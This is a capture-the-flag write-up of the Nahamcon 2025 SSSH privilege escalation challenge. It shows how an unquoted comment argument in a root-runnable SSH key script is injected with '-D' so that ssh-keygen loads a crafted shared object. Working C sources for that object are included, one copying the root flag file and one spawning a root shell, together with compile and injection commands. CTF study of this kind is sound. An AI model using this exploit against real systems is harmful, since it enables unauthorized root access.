SSSH Writeup
Nahamcon 2025
Solved by thewhiteh4t
In this challenge we were given SSH access to an instance which contained a custom bash script which is a SSH key manager script. Running sudo -l
reveals that our user can run the script as root without a password. This was a privilege escalation challenge.
Luckily the code of the script was readable. After reading it for some time one block looked interesting :
comment=$(gum input --placeholder "Enter comment for key (optional)" --prompt "Comment: ")
if ! is_valid_input "$comment"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid comment: Dangerous characters"
return 1
fi
if [ -f ~/.ssh/"$key_name" ] || [ -f ~/.ssh/"$key_name.pub" ]; then
if ! gum confirm "Key ~/.ssh/$key_name already exists. Overwrite?"; then
return
fi
overwrite_flag="-y"
else
overwrite_flag=""
fi
mkdir -p ~/.ssh
chmod 700 ~/.ssh
if [ -n "$comment" ]; then
error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
else
error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
ssh-keygen $overwrite_flag -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
fi
As you must have noticed all the inputs are quoted except one :
ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
$comment
is left unquoted so we can inject something here.
After a lot of hit and trials I finally realized that ssh-keygen
offers a privesc vector. You can find more about it here :
Since we can have control over comment argument option we can simply add more arguments, specifically -D
so that we can execute our malicious shared object .so
file.
But first I had to figure out how to create a malicious shared object file for ssh-keygen. My search led me to a fork of lib2shell which does exactly what I need. So I used the following code to compile the so file :
#include <stdio.h>
#include <unistd.h>
#define SHELL_PATH "/bin/sh"
void __attribute__ ((constructor)) constructor() {
puts("[lib2shell by SeanP, modified by Jonas Heschl]");
long long err = execl(SHELL_PATH, SHELL_PATH, "cp /root/flag.txt /home/user/flag.txt; chown user:user /home/user/flag.txt", NULL);
printf("Result: %lld\n", err);
}
// ssh-keygen makes a rudimentary check when loading a library with `ssh-keygen -D`.
// If the check fails, loading is aborted. This function exists to make the check pass.
int C_GetFunctionList() {
return 1;
}
Compiled it using :
gcc -fPIC -shared -o twh.so twh.c
and here is the value of comment I used :
a -D ./twh.so
First I managed to copy the flag from /root/flag.txt
to /home/user/flag.txt
but I did not get the flag!
So now the goal was to obtain a root shell. The problem was that a simple payload like /bin/bash -s
was not working since the script uses gum
which is a kind of wrapper that is used to create the TUI of the script, so the shell spawn was not usable due to messed up input output redirection.
Then I eventually landed on a fix for redirection, alternatively we can also use the bash reverse shell which most are familiar with
#include <stdio.h>
#include <unistd.h>
#define SHELL_PATH "/bin/sh"
void __attribute__ ((constructor)) constructor() {
puts("[lib2shell by SeanP, modified by Jonas Heschl]");
long long err = execl("/bin/bash", "bash", "-c", "bash < /dev/tty > /dev/tty 2>&1 &", NULL);
printf("Result: %lld\n", err);
}
int C_GetFunctionList() {
return 1;
}
Using the new so file I managed to get a root shell.
Then I saw why I did not get flag earlier, because we were supposed to run a binary to get the flag, this was done to increase the complexity of the challenge a bit.
Key Learning and Takeaways
- Code Review : We had the script’s code, which is a blessing in CTFs. The key was to read through it slowly while understanding what each line is doing.
- GTFOBins : When you find a command that can be run as root, your next stop should be GTFOBins. It’s an incredible resource that lists known ways to abuse common binaries for privilege escalation.
- Crafting the Malicious Shared Object : This was the truly technical part! We needed a specific .so file that would execute a shell for us when loaded. Finding and adapting a lib2shell fork was fun.